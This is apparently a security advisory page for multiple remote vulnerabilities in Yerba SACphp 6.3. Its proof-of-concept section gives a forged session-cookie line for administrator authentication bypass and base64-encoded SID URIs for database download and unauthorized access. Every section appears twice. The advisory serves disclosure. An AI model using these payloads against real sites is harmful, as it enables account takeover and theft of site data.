Yerba SACphp 6.3 Multliple Remote Vulnerabilities
BID:31619
Info
Yerba SACphp 6.3 Multliple Remote Vulnerabilities
| Bugtraq ID: | 31619 |
| Class: | Unknown |
| CVE: |
CVE-2008-5867 CVE-2008-5873 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 07 2008 12:00AM |
| Updated: | Jul 06 2016 02:18PM |
| Credit: | StAkeR |
| Vulnerable: |
Yerba SACphp 6.3 |
| Not Vulnerable: | |
Discussion
Yerba SACphp 6.3 Multliple Remote Vulnerabilities
Yerba SACphp is prone to a multiple remote vulnerabilities:
- An authentication-bypass vulnerability
- A remote privilege-escalation vulnerability
- A vulnerability that may allow attackers to gain access to the content contained in the database
- An unauthorized-access vulnerability
Attackers can exploit these issues to gain unauthorized administrative access to the affected application, compromise the application, and obtain sensitive information. Other attacks are also possible.
Yerba SACphp 6.3 is vulnerable; other versions may also be affected.
Yerba SACphp is prone to a multiple remote vulnerabilities:
- An authentication-bypass vulnerability
- A remote privilege-escalation vulnerability
- A vulnerability that may allow attackers to gain access to the content contained in the database
- An unauthorized-access vulnerability
Attackers can exploit these issues to gain unauthorized administrative access to the affected application, compromise the application, and obtain sensitive information. Other attacks are also possible.
Yerba SACphp 6.3 is vulnerable; other versions may also be affected.
Exploit / POC
Yerba SACphp 6.3 Multliple Remote Vulnerabilities
Attackers can use a browser to exploit this issue.
The following example URIs and JavaScript are available:
Authentication bypass:
javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="
Privilege-escalation
http://www.example.com/index.php?SID=[path (base64 encoded)]
Database Download
http://www.example.com/index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==
Unauthorized access:
http://www.example.com/index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==
Attackers can use a browser to exploit this issue.
The following example URIs and JavaScript are available:
Authentication bypass:
javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="
Privilege-escalation
http://www.example.com/index.php?SID=[path (base64 encoded)]
Database Download
http://www.example.com/index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==
Unauthorized access:
http://www.example.com/index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==
Solution / Fix
Yerba SACphp 6.3 Multliple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].